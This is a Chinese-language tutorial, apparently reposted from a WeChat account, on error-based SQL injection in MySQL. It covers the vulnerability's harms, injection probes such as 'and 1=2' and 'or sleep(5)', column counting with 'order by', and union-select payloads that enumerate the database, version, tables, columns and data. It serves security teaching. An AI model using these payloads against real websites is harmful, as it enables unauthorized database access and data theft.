ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

谈一谈|SQL注入之显错注入

2021-06-29 15:55:53  阅读:162  来源: 互联网

标签:显错 union 数据库 SQL 页面 select 注入


 

 

 

一、什么是SQL注入:

SQL是结构化查询语言,用于操作关系型数据库管理系统。目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,***者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种***方式的流行。

 

二、SQL注入的危害:

(1)***者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。

(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。

(3)如果网站目录存在写入权限,可以写入网页***。***者进而可以对网页进行篡改,发布一些违法信息等。

(4)经过提权等步骤,服务器最高权限被***者获取。***者可以远程控制服务器,安装后门,得以修改或控制操作系统。

 

三、注入***的本质:

把用户输入的数据当作代码执行。
注入的两个关键条件:
1. 用户能控制输入。
2. 原本程序要执行的代码,拼接了用户输入的数据。

 

四、SQL显错注入基本流程
1. 判断是否存在注入点
and 1=1 页面返回正常
and 1=2 页面返回不正常
URL后加单引号’ “ --+页面返回不正常
or sleep(5)页面5秒钟后正常显示
2. 猜解字段数
利用order by 排序
order by 1 以第一个字段排序

3. 联合查询寻找输出点
union select 1,2,3,4#

4. 输出点使用SQL注入语句
在我们语句2的位置输入要查询数据的语句
union select 1,database()#

 

五、Mysql数据库显错注入常用语句

and 1=1/and 1=2

判断是否存在注入

and 1=1 order by 3

按哪一列进行排序,从而可以确定有多少列

and 1=2 union select 1,2,3

查看页面中显示哪些数字,比如显示2,3

 

and 1=2 union select 1,2,database()

原本显示3的位置会显示数据库名称

 

and 1=2 union select 1,2,version() 

会显示数据库版本

 

and 1=2 union select  1,2,group_concat(table_name) from information_schema.tables where  table_schema= database()

查询当前数据库下的表名

 

and 1=2 union select  1,2,group_concat(column_name) from information_schema.columns where  table_schema=database() and table_name='表名'

查看数据库字段名

 

and 1=2 union select 1,2,group_concat(字段名) from 表名

查看字段内容

 

六、总结

SQL注入漏洞属于高危漏洞,不仅能窃取用户隐私,还可以攻陷服务器危害巨大。由于多方面原因目前仍有少数网站存在此漏洞。学习网络安全不仅是用于***测试,更是提升网站开发人员能力的重要途经。本期主要和大家分享了显错注入的原理和常用命令,下期将给大家带来实战视频。

以上内容仅用于信息技术防御教学,切勿用于其他用途。

 

 

 

 

 


END

 

主  编   |   王楠岚

责  编   |   KeeCTh

 

 where2go 团队


   

微信号:算法与编程之美          

25f58fa0e59e4b958e3857b0959b98c7fb3.jpg

长按识别二维码关注我们!

温馨提示:点击页面右下角“写留言”发表评论,期待您的参与!期待您的转发!

本文分享自微信公众号 - 算法与编程之美(algo_coding)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

标签:显错,union,数据库,SQL,页面,select,注入
来源: https://blog.51cto.com/u_15281984/2954555

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有